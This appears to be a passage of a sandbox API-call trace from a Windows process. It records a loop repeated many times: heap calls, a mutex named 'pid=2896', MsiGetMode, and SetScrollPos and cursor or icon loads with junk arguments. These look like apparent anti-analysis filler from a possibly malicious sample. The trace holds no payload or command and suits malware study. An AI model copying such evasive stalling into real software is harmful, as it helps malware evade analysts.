	[0094.468] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.468] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.468] GetCurrentProcessId () returned 0xb50
	[0094.468] GetLastError () returned 0x578
	[0094.468] GetLastError () returned 0x578
	[0094.468] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.468] GetLastError () returned 0x0
	[0094.468] ReleaseMutex (hMutex=0x360) returned 1
	[0094.468] CloseHandle (hObject=0x360) returned 1
	[0094.468] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-311347328, bRedraw=1) returned 0
	[0094.468] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.468] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.468] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.468] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.468] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.468] GetCurrentProcessId () returned 0xb50
	[0094.468] GetLastError () returned 0x578
	[0094.468] GetLastError () returned 0x578
	[0094.469] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.469] GetLastError () returned 0x0
	[0094.469] ReleaseMutex (hMutex=0x360) returned 1
	[0094.469] CloseHandle (hObject=0x360) returned 1
	[0094.469] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1318735918, bRedraw=1) returned 0
	[0094.469] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.469] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.469] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.469] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.469] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.469] GetCurrentProcessId () returned 0xb50
	[0094.469] GetLastError () returned 0x578
	[0094.469] GetLastError () returned 0x578
	[0094.469] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.469] GetLastError () returned 0x0
	[0094.469] ReleaseMutex (hMutex=0x360) returned 1
	[0094.469] CloseHandle (hObject=0x360) returned 1
	[0094.469] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1336518180, bRedraw=1) returned 0
	[0094.469] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.469] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.470] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.470] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.470] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.470] GetCurrentProcessId () returned 0xb50
	[0094.470] GetLastError () returned 0x578
	[0094.470] GetLastError () returned 0x578
	[0094.470] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.470] GetLastError () returned 0x0
	[0094.470] ReleaseMutex (hMutex=0x360) returned 1
	[0094.470] CloseHandle (hObject=0x360) returned 1
	[0094.470] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=312824970, bRedraw=1) returned 0
	[0094.470] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.470] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.470] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.470] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.470] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.470] GetCurrentProcessId () returned 0xb50
	[0094.470] GetLastError () returned 0x578
	[0094.470] GetLastError () returned 0x578
	[0094.470] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.470] GetLastError () returned 0x0
	[0094.470] ReleaseMutex (hMutex=0x360) returned 1
	[0094.471] CloseHandle (hObject=0x360) returned 1
	[0094.471] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1971798072, bRedraw=1) returned 0
	[0094.471] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.471] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.471] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.471] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.471] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.471] GetCurrentProcessId () returned 0xb50
	[0094.471] GetLastError () returned 0x578
	[0094.471] GetLastError () returned 0x578
	[0094.471] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.471] GetLastError () returned 0x0
	[0094.471] ReleaseMutex (hMutex=0x360) returned 1
	[0094.471] CloseHandle (hObject=0x360) returned 1
	[0094.471] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-654566170, bRedraw=1) returned 0
	[0094.471] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.471] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.471] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.471] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.471] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.472] GetCurrentProcessId () returned 0xb50
	[0094.472] GetLastError () returned 0x578
	[0094.472] GetLastError () returned 0x578
	[0094.472] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.472] GetLastError () returned 0x0
	[0094.472] ReleaseMutex (hMutex=0x360) returned 1
	[0094.472] CloseHandle (hObject=0x360) returned 1
	[0094.472] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1023666836, bRedraw=1) returned 0
	[0094.472] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.472] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.472] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.472] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.472] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.472] GetCurrentProcessId () returned 0xb50
	[0094.472] GetLastError () returned 0x578
	[0094.472] GetLastError () returned 0x578
	[0094.472] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.472] GetLastError () returned 0x0
	[0094.472] ReleaseMutex (hMutex=0x360) returned 1
	[0094.472] CloseHandle (hObject=0x360) returned 1
	[0094.472] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1583437502, bRedraw=1) returned 0
	[0094.473] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.473] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.473] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.473] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.473] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.473] GetCurrentProcessId () returned 0xb50
	[0094.473] GetLastError () returned 0x578
	[0094.473] GetLastError () returned 0x578
	[0094.473] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.473] GetLastError () returned 0x0
	[0094.473] ReleaseMutex (hMutex=0x360) returned 1
	[0094.473] CloseHandle (hObject=0x360) returned 1
	[0094.473] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=114055408, bRedraw=1) returned 0
	[0094.473] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.473] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.473] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.473] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.473] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.473] GetCurrentProcessId () returned 0xb50
	[0094.473] GetLastError () returned 0x578
	[0094.473] GetLastError () returned 0x578
	[0094.473] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.474] GetLastError () returned 0x0
	[0094.474] ReleaseMutex (hMutex=0x360) returned 1
	[0094.474] CloseHandle (hObject=0x360) returned 1
	[0094.474] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1821178270, bRedraw=1) returned 0
	[0094.474] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.474] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.474] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.474] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.474] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.474] GetCurrentProcessId () returned 0xb50
	[0094.474] GetLastError () returned 0x578
	[0094.474] GetLastError () returned 0x578
	[0094.474] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.474] GetLastError () returned 0x0
	[0094.474] ReleaseMutex (hMutex=0x360) returned 1
	[0094.474] CloseHandle (hObject=0x360) returned 1
	[0094.474] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-757036212, bRedraw=1) returned 0
	[0094.474] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.474] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.474] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.475] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.475] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.475] GetCurrentProcessId () returned 0xb50
	[0094.475] GetLastError () returned 0x578
	[0094.475] GetLastError () returned 0x578
	[0094.475] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.475] GetLastError () returned 0x0
	[0094.475] ReleaseMutex (hMutex=0x360) returned 1
	[0094.475] CloseHandle (hObject=0x360) returned 1
	[0094.475] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=969346554, bRedraw=1) returned 0
	[0094.475] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.475] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.475] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.475] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.475] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.475] GetCurrentProcessId () returned 0xb50
	[0094.475] GetLastError () returned 0x578
	[0094.475] GetLastError () returned 0x578
	[0094.475] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.475] GetLastError () returned 0x0
	[0094.475] ReleaseMutex (hMutex=0x360) returned 1
	[0094.475] CloseHandle (hObject=0x360) returned 1
	[0094.475] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1589608024, bRedraw=1) returned 0
	[0094.476] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.476] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.476] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.476] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.476] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.476] GetCurrentProcessId () returned 0xb50
	[0094.476] GetLastError () returned 0x578
	[0094.476] GetLastError () returned 0x578
	[0094.476] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.476] GetLastError () returned 0x0
	[0094.476] ReleaseMutex (hMutex=0x360) returned 1
	[0094.476] CloseHandle (hObject=0x360) returned 1
	[0094.476] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=156034646, bRedraw=1) returned 0
	[0094.476] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.476] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.476] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.476] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.476] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.476] GetCurrentProcessId () returned 0xb50
	[0094.476] GetLastError () returned 0x578
	[0094.476] GetLastError () returned 0x578
	[0094.477] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.477] GetLastError () returned 0x0
	[0094.477] ReleaseMutex (hMutex=0x360) returned 1
	[0094.477] CloseHandle (hObject=0x360) returned 1
	[0094.477] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1911307268, bRedraw=1) returned 0
	[0094.477] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.477] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.477] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.477] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.477] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.477] GetCurrentProcessId () returned 0xb50
	[0094.477] GetLastError () returned 0x578
	[0094.477] GetLastError () returned 0x578
	[0094.477] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.477] GetLastError () returned 0x0
	[0094.477] ReleaseMutex (hMutex=0x360) returned 1
	[0094.477] CloseHandle (hObject=0x360) returned 1
	[0094.477] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-618757454, bRedraw=1) returned 0
	[0094.477] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.477] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.477] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.478] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.478] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.478] GetCurrentProcessId () returned 0xb50
	[0094.478] GetLastError () returned 0x578
	[0094.478] GetLastError () returned 0x578
	[0094.478] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.478] GetLastError () returned 0x0
	[0094.478] ReleaseMutex (hMutex=0x360) returned 1
	[0094.478] CloseHandle (hObject=0x360) returned 1
	[0094.478] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1155775072, bRedraw=1) returned 0
	[0094.478] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.478] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.478] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.478] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.478] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.478] GetCurrentProcessId () returned 0xb50
	[0094.478] GetLastError () returned 0x578
	[0094.478] GetLastError () returned 0x578
	[0094.478] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.478] GetLastError () returned 0x0
	[0094.478] ReleaseMutex (hMutex=0x360) returned 1
	[0094.478] CloseHandle (hObject=0x360) returned 1
	[0094.479] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1355029746, bRedraw=1) returned 0
	[0094.479] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.479] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.479] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.479] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.479] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.479] GetCurrentProcessId () returned 0xb50
	[0094.479] GetLastError () returned 0x578
	[0094.479] GetLastError () returned 0x578
	[0094.479] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.479] GetLastError () returned 0x0
	[0094.479] ReleaseMutex (hMutex=0x360) returned 1
	[0094.479] CloseHandle (hObject=0x360) returned 1
	[0094.479] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=438762684, bRedraw=1) returned 0
	[0094.479] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.479] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.479] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.479] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.479] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.479] GetCurrentProcessId () returned 0xb50
	[0094.479] GetLastError () returned 0x578
	[0094.480] GetLastError () returned 0x578
	[0094.480] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.480] GetLastError () returned 0x0
	[0094.480] ReleaseMutex (hMutex=0x360) returned 1
	[0094.480] CloseHandle (hObject=0x360) returned 1
	[0094.480] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2052782230, bRedraw=1) returned 0
	[0094.480] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.480] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.480] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.480] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.480] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.480] GetCurrentProcessId () returned 0xb50
	[0094.480] GetLastError () returned 0x578
	[0094.480] GetLastError () returned 0x578
	[0094.480] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.480] GetLastError () returned 0x0
	[0094.480] ReleaseMutex (hMutex=0x360) returned 1
	[0094.480] CloseHandle (hObject=0x360) returned 1
	[0094.480] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-239729896, bRedraw=1) returned 0
	[0094.480] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.480] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.481] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.481] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.481] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.481] GetCurrentProcessId () returned 0xb50
	[0094.481] GetLastError () returned 0x578
	[0094.481] GetLastError () returned 0x578
	[0094.481] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.481] GetLastError () returned 0x0
	[0094.481] ReleaseMutex (hMutex=0x360) returned 1
	[0094.481] CloseHandle (hObject=0x360) returned 1
	[0094.481] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1582952390, bRedraw=1) returned 0
	[0094.481] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.481] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.481] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.481] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.481] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.481] GetCurrentProcessId () returned 0xb50
	[0094.481] GetLastError () returned 0x578
	[0094.481] GetLastError () returned 0x578
	[0094.481] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.481] GetLastError () returned 0x0
	[0094.481] ReleaseMutex (hMutex=0x360) returned 1
	[0094.481] CloseHandle (hObject=0x360) returned 1
	[0094.482] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-879702668, bRedraw=1) returned 0
	[0094.484] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.484] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.484] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.484] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.484] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.484] GetCurrentProcessId () returned 0xb50
	[0094.484] GetLastError () returned 0x578
	[0094.484] GetLastError () returned 0x578
	[0094.484] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.484] GetLastError () returned 0x0
	[0094.484] ReleaseMutex (hMutex=0x360) returned 1
	[0094.484] CloseHandle (hObject=0x360) returned 1
	[0094.484] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=962239522, bRedraw=1) returned 0
	[0094.485] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.485] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.485] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.485] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.485] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.485] GetCurrentProcessId () returned 0xb50
	[0094.485] GetLastError () returned 0x578
	[0094.485] GetLastError () returned 0x578
	[0094.485] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.485] GetLastError () returned 0x0
	[0094.485] ReleaseMutex (hMutex=0x360) returned 1
	[0094.485] CloseHandle (hObject=0x360) returned 1
	[0094.485] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1481155632, bRedraw=1) returned 0
	[0094.485] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.485] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.485] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.485] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.485] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.485] GetCurrentProcessId () returned 0xb50
	[0094.485] GetLastError () returned 0x578
	[0094.485] GetLastError () returned 0x578
	[0094.486] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.486] GetLastError () returned 0x0
	[0094.486] ReleaseMutex (hMutex=0x360) returned 1
	[0094.486] CloseHandle (hObject=0x360) returned 1
	[0094.486] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=380046462, bRedraw=1) returned 0
	[0094.486] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.486] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.486] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.486] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.486] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.486] GetCurrentProcessId () returned 0xb50
	[0094.486] GetLastError () returned 0x578
	[0094.486] GetLastError () returned 0x578
	[0094.724] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.725] GetLastError () returned 0x0
	[0094.725] ReleaseMutex (hMutex=0x360) returned 1
	[0094.725] CloseHandle (hObject=0x360) returned 1
	[0094.725] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2044088788, bRedraw=1) returned 0
	[0094.725] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.725] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.725] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.725] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.725] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.725] GetCurrentProcessId () returned 0xb50
	[0094.725] GetLastError () returned 0x578
	[0094.726] GetLastError () returned 0x578
	[0094.726] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.726] GetLastError () returned 0x0
	[0094.726] ReleaseMutex (hMutex=0x360) returned 1
	[0094.726] CloseHandle (hObject=0x360) returned 1
	[0094.726] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-163626790, bRedraw=1) returned 0
	[0094.726] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.726] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.726] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.726] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.726] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.726] GetCurrentProcessId () returned 0xb50
	[0094.726] GetLastError () returned 0x578
	[0094.726] GetLastError () returned 0x578
	[0094.726] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.726] GetLastError () returned 0x0
	[0094.726] ReleaseMutex (hMutex=0x360) returned 1
	[0094.726] CloseHandle (hObject=0x360) returned 1
	[0094.726] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1726465160, bRedraw=1) returned 0
	[0094.726] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.727] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.727] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.727] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.727] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.727] GetCurrentProcessId () returned 0xb50
	[0094.727] GetLastError () returned 0x578
	[0094.727] GetLastError () returned 0x578
	[0094.727] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.727] GetLastError () returned 0x0
